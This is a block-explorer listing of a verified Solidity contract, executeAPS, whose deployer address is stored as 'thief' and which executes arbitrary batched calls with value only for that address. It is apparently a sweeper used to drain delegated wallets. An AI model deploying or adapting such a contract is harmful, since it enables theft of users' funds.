Skip to content
Verified contractExactUNLICENSED

executeAPS

Address0xb2b25219e18d346c2c69bb792c9d10cae046c320
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
UNLICENSED
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,496,294
Creation transaction
0xf5be75ab30…96eeb93ca2

executeBatch.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;


contract executeAPS {

    address immutable thief;

    error WhoAreYou();

    constructor() {
        thief = tx.origin;
    }

    struct Call {
        address target;
        uint256 value;
        bytes data;
    }

    function executeBatch(Call[] calldata calls) external payable {
        require(tx.origin == thief, WhoAreYou());
        for (uint256 i = 0; i < calls.length; i++) {
            (bool success, ) = calls[i].target.call{value: calls[i].value}(calls[i].data);
            require(success, "Delegated call failed");
        }
    }

    receive() external payable { }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.